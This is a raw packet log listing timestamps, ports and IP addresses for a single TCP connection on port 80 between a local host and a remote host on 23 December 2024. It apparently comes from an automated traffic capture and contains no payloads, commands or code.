Dec 23, 2024 06:53:55.101804018 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.101851940 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.101895094 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.105223894 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.105298042 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.469145060 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.469235897 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.469466925 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.469477892 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.469490051 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.469506025 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.469515085 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.469526052 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.469533920 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.469552994 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.470352888 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.470359087 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.470369101 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.470375061 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.470381021 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.470386982 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.470442057 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.470463037 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.471237898 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.471249104 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.471270084 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.471282005 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.471390963 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.472127914 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.472136974 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.472436905 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.473050117 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.473098040 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.473865986 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.473908901 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.474699020 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.474770069 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.475112915 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.475157976 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.475992918 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.476006031 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.476039886 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.476911068 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.476922035 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.476959944 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.476979017 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.477749109 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.477761984 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.477773905 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.477780104 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.477801085 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.477826118 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.478650093 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.478697062 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.479576111 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.479589939 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.479620934 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.480384111 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.480396032 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.480427980 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.480446100 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.481281996 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.481293917 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.481323004 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.482148886 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.482161045 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.482177019 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.482187986 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.482204914 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.482217073 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.482224941 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.482260942 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.483022928 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.483036041 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.483069897 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.483926058 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.483939886 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.483967066 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.483974934 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.483984947 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.484004974 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.484023094 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.485599041 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.485651016 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.485671043 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.485707045 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.486566067 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.486577988 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.486610889 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.487561941 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.487574100 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.487595081 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.487612963 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.488369942 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.488390923 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.488415003 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.488430023 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.489155054 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.489172935 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.489185095 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.489200115 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.489206076 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.489214897 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.489222050 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.489264965 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.489264965 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.495311022 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.495367050 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.495373964 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.495385885 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.495397091 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.495405912 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.495415926 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.495424032 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.495434999 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.495440960 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.495450974 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.495472908 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.496284962 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.496296883 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.496308088 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.496320009 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.496330976 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.496352911 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.496370077 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.497159958 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.497170925 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.497181892 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.497193098 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.497200966 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.497210979 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.497219086 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.497229099 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.497245073 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.497263908 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.498029947 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.498044014 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.498054981 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.498068094 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.498075962 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.498086929 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.498137951 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.498866081 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.498888969 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.498900890 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.498913050 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.498922110 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.498930931 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.498939037 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.498950958 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.498960018 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.498967886 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.498986959 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.499008894 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.501590967 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.501601934 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.501655102 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.502346039 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.502365112 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.502396107 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.502414942 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.502434969 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.502445936 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.502458096 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.502473116 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.502479076 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.502500057 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.502520084 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.503345966 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.503357887 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.503367901 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.503380060 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.503391981 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.503401041 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.503412008 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.503422976 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.503442049 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.504178047 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.504190922 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.504201889 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.504224062 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.504240990 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.510435104 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.510493040 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.520100117 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.520301104 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.588902950 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.589195967 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.589514017 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.589531898 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.589565039 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.589584112 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.591365099 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.591413021 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.591449022 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.591492891 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.593415976 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.593462944 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.593525887 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.593569040 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.595592022 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.595602989 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.595643044 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.597457886 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.597507000 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.597558975 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.597604036 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.599539995 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.599590063 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.599664927 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.599709988 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.601547003 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.601610899 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.601627111 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.601667881 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.603589058 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.603647947 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.603714943 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.603760958 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.605623007 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.605679989 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.605763912 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.605812073 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.607660055 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.607717037 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.607793093 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.607837915 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.609735966 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.609786034 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.609843969 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.609889030 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.611802101 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.611850977 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.611922026 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.611967087 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.613862991 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.613912106 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.613935947 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.613979101 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.615870953 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.615920067 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.615993023 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.616036892 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.617881060 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.617938042 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.618060112 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.618107080 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.619900942 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.619945049 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.620003939 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.620043993 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.621949911 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.622003078 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.622133970 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.622170925 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.623985052 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.624042034 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.624098063 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.624144077 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.626029015 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.626071930 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.626097918 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.626135111 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.628134966 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.628181934 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.628266096 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.628317118 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.630084991 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.630136013 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.630193949 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.630238056 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.632133007 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.632185936 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.632250071 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.632292986 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.634174109 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.634228945 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.634255886 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.634300947 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.636326075 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.636368990 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.636616945 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.636667967 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.638283968 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.638340950 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.638402939 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.638451099 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.640316010 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.640367031 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.640414000 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.640459061 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.642379045 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.642426968 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.642555952 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.642601013 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.644364119 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.644418001 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.644474983 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.644515038 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.646440029 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.646488905 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.646543980 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.646589041 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.648462057 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.648504972 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.648664951 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.648713112 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.650497913 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.650546074 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.650599003 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.650643110 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.652542114 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.652585983 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.652648926 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.652694941 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.654593945 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.654671907 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.654696941 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.654736042 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.656701088 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.656752110 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.656888962 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.656938076 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.658658981 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.658704996 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.658864975 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.658906937 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.660717010 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.660763979 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.660815001 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.660859108 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.662798882 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.662846088 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.662906885 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.662950993 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.664774895 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.664824009 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.664877892 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.664921999 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.666829109 CET	80	49793	185.215.113.206	192.168.2.6
